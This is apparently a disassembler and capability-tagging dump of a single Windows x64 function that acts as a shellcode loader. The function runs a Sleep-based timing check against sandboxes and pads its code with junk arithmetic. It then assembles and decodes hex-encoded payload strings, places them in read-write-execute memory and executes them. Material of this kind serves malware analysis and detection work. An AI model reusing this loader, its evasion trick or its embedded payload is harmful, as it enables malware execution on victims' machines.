Function at 0x4013ad
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x5f0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x26b
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
movabs rax, 0x6fa
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x26b
jl 0x401480
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x2cf
jge 0x401480
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, [0x0040300d]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x4014ab
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.iEYXNxw
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x401f9c
lea rax, str.906542508004c08445ff6834d0454448c80076421ba74263564470
mov qword [rbp - 0x18], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.f7976dab282d3a16e540541c
mov qword [rbp - 0x20], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.753600025b2ad2cd281b081918811c34b8488182fffe9c98191f50031b98d21688
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.91955ff10740f51e2f8beb6530d00c50be445f93fce2283d3859b9dce7a506d1961f
mov qword [rbp - 0x30], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.aa0522bdf6726010033a1a250050037e8904d4824302e44d884d4d804c44444880445e4f66
mov qword [rbp - 0x38], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.4f4cc5fe0005e5d35bc84d35dcc800301c8aaddcd81456263263324266444475eac255bbf4cfb8d58301
mov qword [rbp - 0x40], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.5354e51332b96f58af0b0495dbb987cd0c32db0011880a1c021c028
mov qword [rbp - 0x48], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.700041c91c80cb41a1109f9e615
mov qword [rbp - 0x50], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.9107b10a15b912a931ad2f0f44030312761baf7e205afe82be0009e
mov qword [rbp - 0x58], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.253dfa8582a3117368becbdbe4af6b120306241beb5f08018398160457031ea1f0538444c74
mov qword [rbp - 0x60], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.e53670652e3da0f
mov qword [rbp - 0x68], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.252040d5545ef66e4d434a75464d48c5e8cf445f0f8ee6eeaeaa5fc57780737266225236
mov qword [rbp - 0x70], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.74352ea95b0a3358af546ef1a4aea016aede07838debd400b4480482
mov qword [rbp - 0x78], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.b850e333c818b8879111126504003b60d5484b0b099082f7591f8d1938d11f8994b8399f2bf8c98f3
mov qword [rbp - 0x80], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.243deb704a0d124a539097362409d989949e9f5fa3c086a0da6d2757d8415538c8c805000
mov qword [rbp - 0x88], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.a588099463808e
mov qword [rbp - 0x90], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.304c44518b46cc44870784584c470d48184542415778bf34575b35bf84585458cf47840
mov qword [rbp - 0x98], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.ea4681105f1b6036327636643672722340b899f43b826117b2c475a090e982ad76cce236f40145d842fec6c50923
mov qword [rbp - 0xa0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.0881622bf8c118b1200bb61d1108591c11e1c1bde49a71006a
mov qword [rbp - 0xa8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.111a6922055087f1850132f78529822785a90de9ff4d097e4f
mov qword [rbp - 0xb0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.bb3dfca233842274fc2ddd8a69c81d7ceeb32f1a9fe80098f9109236180f8368e55657033c088700c4
mov qword [rbp - 0xb8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.844330e470444555e586b0440dc4544c45ccd642d64cfb1900df2b0743c27913eb646626752673533450a995c2626b81
mov qword [rbp - 0xc0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.a617803a9ae4b4a83cf0bea312b300bafef0
mov qword [rbp - 0xc8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.8f88050f32330010b281c91b08b058489181851169088a398a906c6211a81917f1182efaf0fa6d00bff3bd
mov qword [rbp - 0xd0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.b4aa62289eb15c1d135ef105055a201254e7dd9649b0fa0da5af80e7f98fc1867a11a01457909f8b885dfe6ef55485
mov qword [rbp - 0xd8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.4ca0452104814fcc4c33dd60d45485404457243b38c458943003f05ff2
mov qword [rbp - 0xe0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.0000eff2439481de70e8866
mov qword [rbp - 0xe8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.6676446632234502373ddbc726c6
mov qword [rbp - 0xf0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.9e1ec504ab0cdaf0ce4b
mov qword [rbp - 0xf8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.e5d604cb045e4804d40440ff3342800d2888f9190118
mov qword [rbp - 0x100], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.a017da91980bafd10fdb2a59d7c094bee04ae57f7d645e2e70ec090380578f1
mov qword [rbp - 0x108], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0
mov byte [rbp - 0x5af], al
movabs rax, 0x4a6
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x5ae]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x100]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x108]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, [0x00403736]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0x5b8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x5b8]
mov r11, rax
lea rax, [rbp - 0x5af]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401338
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x4a7
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0x5c0], rax
movabs rax, 0x4a7
mov r8, rax
lea rax, [rbp - 0x5af]
mov r11, rax
mov rax, qword [rbp - 0x5c0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x5c0]
mov qword [rbp - 0x5c8], rax
mov r11, qword [rbp - 0x5c8]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov r11, rax
lea rax, [0x00403739]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret